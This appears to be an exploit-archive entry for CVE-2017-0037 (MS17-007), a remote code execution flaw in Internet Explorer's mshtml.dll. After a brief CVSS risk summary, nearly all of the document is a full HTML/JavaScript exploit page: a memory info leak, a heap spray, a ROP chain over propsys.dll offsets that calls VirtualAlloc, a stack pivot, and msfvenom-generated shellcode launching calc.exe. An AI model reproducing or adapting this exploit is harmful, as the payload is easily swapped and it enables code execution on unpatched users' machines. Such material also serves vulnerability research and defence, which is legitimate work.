Microsoft Internet Explorer MS17-007 mshtml.dll Remote Code Execution

2017.07.25
Credit: Mohamed Hamdy
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 7.6/10
Impact Subscore: 10/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: Microsoft Internet Explorer - 'mshtml.dll' Remote Code Execution (MS17-007) # Google Dork: NA # Date: 24/7/2017 # Exploit Author: Mohamed Hamdy - Nsecurity # Vendor Homepage: https://www.microsoft.com # Version: Microsoft Internet Explorer 11 # Tested on: Windows 7 SP1 x86 # CVE : CVE-2017-0037 <!-- CVE-2017-0037 mshtml.dll::HandleColumnBreakOnColumnSpanningElement Affected Version: Microsoft Internet Explorer 10 and 11 and Microsoft Edge Test Bed: Microsoft Internet Explorer 10 and 11 OS: Windows 7 SP1 x86 Advisory: https://technet.microsoft.com/en-us/library/security/ms17-007.aspx Author: Mohamed Hamdy AKA "Nsecurity" Email: n.s3curity.service@gmail.com Jid : Nsecurity@jabber.ru <!DOCTYPE html> <html> <head> <style> .class1 { float: left; column-count: 5; } .class2 { column-span: all; columns: 1px; } table {border-spacing: 0px;} </style> <script> var base_leaked_addr = ""; function infoleak() { var textarea = document.getElementById("textarea"); var frame = document.createElement("iframe"); textarea.appendChild(frame); frame.contentDocument.onreadystatechange = eventhandler; form.reset(); } function eventhandler() { document.getElementById("textarea").defaultValue = "foo"; // Object replaced here // one of the side allocations of the audio element var audioElm = document.createElement("audio"); audioElm.src = "test.mp3"; } function writeu(base, offs) { var res = 0; if (base != 0) { res = base + offs } else { res = offs } res = res.toString(16); while (res.length < 8) res = "0"+res; return "%u"+res.substring(4,8)+"%u"+res.substring(0,4); } function readu(value) { var uc = escape(value); var ucsplit = uc.split('%'); var res = parseInt('0x' + ucsplit[2].replace('u', '') + ucsplit[1].replace('u', '')); return res; } function spray() { // DEPS technique used here - avoid null bytes var hso = document.createElement("div"); base_leaked_addr = parseInt(base_leaked_addr,16); var junk = unescape("%u0e0e%u0e0e"); while (junk.length < 0x1000) junk += junk; var rop = unescape( writeu(base_leaked_addr,0x56341) + writeu(base_leaked_addr,0x56341) + writeu(base_leaked_addr,0x9b7c) + writeu(0,0xffffffff) + writeu(base_leaked_addr,0x2a89e) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x4e385) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x2030f) + writeu(base_leaked_addr,0x9b7c) + writeu(0,0x41414141) + writeu(0,0x41414141) + writeu(0,0xf07645d5) + writeu(base_leaked_addr,0x6e002) + writeu(0,0x41414141) + writeu(base_leaked_addr,0xaebc) + writeu(base_leaked_addr,0x9b7c) + writeu(0,0xffffffbf) + writeu(base_leaked_addr,0x2a89e) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x6361b) + writeu(base_leaked_addr,0x432cf) + writeu(0,0x41414141) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x9b7c) + writeu(base_leaked_addr,0x5cef1) + writeu(base_leaked_addr,0x4177e) + writeu(base_leaked_addr,0x9b7c) + writeu(base_leaked_addr,0x1244) + writeu(base_leaked_addr,0xa819) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x2720b) + "" ); /* Original VirtualAlloc ROP generated with mona.py - www.corelan.be Library used "propsys.dll", part of the Windows Search functionality (?) and last updated Nov 2010. I think it's a good target for our needs. Fixed to overcome the problem with MOV EAX,80004001 after the PUSHAD instruction "%u6341%u6af8" + // 0x6af86341 : ,# POP EBP # RETN [PROPSYS.dll] "%u6341%u6af8" + // 0x6af86341 : ,# skip 4 bytes [PROPSYS.dll] "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%uffff%uffff" + // 0xffffffff : ,# Value to negate, will become 0x00000001 "%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%ue385%u6af7" + // 0x6af7e385 : ,# PUSH EAX # ADD AL,5E # XOR EAX,EAX # POP EBX # POP EDI # POP EBP # RETN 0x08 [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) "%u4141%u4141" + // 0x41414141 : ,# Filler (compensate) --> changed to 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u45d5%uf076" + // 0xf07645d5 : ,# put delta into eax (-> put 0x00001000 into edx) "%ue002%u6af9" + // 0x6af9e002 : ,# ADD EAX,0F89CA2B # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%uaebc%u6af3" + // 0x6af3aebc : ,# XCHG EAX,EDX # RETN [PROPSYS.dll] "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%uffc0%uffff" + // 0xffffffc0 : ,# Value to negate, will become 0x00000040 "%ua89e%u6af5" + // 0x6af5a89e : ,# NEG EAX # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u361b%u6af9" + // 0x6af9361b : ,# XCHG EAX,ECX # ADD DL,B # DEC ECX # RETN 0x08 [PROPSYS.dll] "%u32cf%u6af7" + // 0x6af732cf : ,# POP EDI # RETN [PROPSYS.dll] "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u40bd%u6af4" + // 0x6af440bd : ,# RETN (ROP NOP) [PROPSYS.dll] "%ucef1%u6af8" + // 0x6af8cef1 : ,# POP ESI # RETN [PROPSYS.dll] "%u177e%u6af7" + // 0x6af7177e : ,# JMP [EAX] [PROPSYS.dll] "%u9b7c%u6af3" + // 0x6af39b7c : ,# POP EAX # RETN 0x04 [PROPSYS.dll] "%u1244%u6af3" + // 0x6af31244 : ,# ptr to &VirtualAlloc() [IAT PROPSYS.dll] "%u6af8" + // 0x6af80a14 : ,# PUSHAD # ADD AL,0 # MOV EAX,80004001 # POP EBP # RETN 0x08 [PROPSYS.dll] --> changed to 0x6af3a819 : # PUSHAD # CMP EAX,0C68B6AF3 # POP ESI # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} "%u4141%u4141" + // 0x41414141 : ,# Filler (RETN offset compensation) "%u720b%u6af5" + // 0x6af5720b : ,# ptr to 'jmp esp' [PROPSYS.dll] */ // Move ESP to the VirtualAlloc ROP chain var stack_shift_rop = unescape( writeu(0,235802130) + writeu(base_leaked_addr,0x2030f) + // 0x6af5030f : # POP EBX # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} writeu(0,0x0e0e1258) + writeu(base_leaked_addr,0x28002) + // 0x6af58002 : # MOV EAX,EBX # POP EBX # POP EBP # RETN 0x08 ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} writeu(0,0x41414141) + writeu(0,0x41414141) + writeu(base_leaked_addr,0x0b473) + //0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} writeu(0,0x41414141) + writeu(0,0x41414141) + ""); // root@kali:~# msfvenom -p windows/exec cmd=calc.exe -b "\x00" -f js_le // ~2854 bytes max var shellcode = unescape("%uec83%u4070" + // move stack pointer away to avoid shellcode corruption "%ucadb%ub6ba%u0f7b%ud99f%u2474%u5ef4%uc929%u31b1%uee83%u31fc%u1456%u5603%u99a2%u63fa%udf22%u9c05%u80b2%u798c%u8083%u0aeb%u30b3%u5e7f%uba3f%u4b2d%uceb4%u7cf9%u647d%ub3dc%ud57e%ud51c%u24fc%u3571%ue73d%u3484%u1a7a%u6464%u50d3%u99db%u2c50%u12e0%ua02a%uc660%uc3fa%u5941%u9a71%u5b41%u9656%u43cb%u93bb%uf882%u6f0f%u2915%u905e%u14ba%u636f%u51c2%u9c57%uabb1%u21a4%u6fc2%ufdd7%u7447%u757f%u50ff%u5a7e%u1266%u178c%u7cec%ua690%uf721%u23ac%ud8c4%u7725%ufce3%u236e%ua58a%u82ca%ub6b3%u7bb5%ubc16%u6f5b%u9f2b%u6e31%ua5b9%u7077%ua5c1%u1927%u2ef0%u5ea8%ue50d%u918d%ua447%u39a7%u3c0e%u27fa%ueab1%u5e38%u1f32%ua5c0%u6a2a%ue2c5%u86ec%u7bb7%ua899%u7b64%uca88%uefeb%u2350%u978e%u3bf3" + ""); var xchg = unescape(writeu(base_leaked_addr, 0x0b473)); // Initial EIP control ---> 0x6af3b473 : # XCHG EAX,ESP # RETN ** [PROPSYS.dll] ** | {PAGE_EXECUTE_READ} var fix1 = 0x15c; var fixop = unescape("%u0e0e%u0e0e"); var offset_to_stack_shift = 0x6f7; var offset_to_xchg = 0xd2+2; // Jumping a bit around here, pretty sure this can be simplified but hey... it works data = junk.substring(0,fix1-rop.length) + rop + fixop + shellcode + junk.substring(0,offset_to_stack_shift-fix1-fixop.length-shellcode.length) + stack_shift_rop + junk.substring(0,offset_to_xchg-stack_shift_rop.length) + xchg; data += junk.substring(0,0x800-offset_to_stack_shift-offset_to_xchg-xchg.length); while (data.length < 0x80000) data += data; for (var i = 0; i < 0x350; i++) { var obj = document.createElement("button"); obj.title = data.substring(0,(0x7fb00-2)/2); hso.appendChild(obj); } } function boom() { document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa"; th1.align = "right"; } setTimeout(function() { var txt = document.getElementById("textarea"); var il = txt.value.substring(0,2); var leaked_addr = readu(il); base_leaked_addr = leaked_addr - 0xbacc; // base of propsys base_leaked_addr = base_leaked_addr.toString(16); spray(); boom(); }, 1000); // can be reduced </script> </head> <body onload=infoleak()> <form id="form"> <textarea id="textarea" style="display:none" cols="81">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</textarea> </form> <script> </script> <table cellspacing="0"> <tr class="class1"> <th id="th1" colspan="0" width=2000000></th> <th class="class2" width=0><div class="class2"></div></th> </table> </body> </html>


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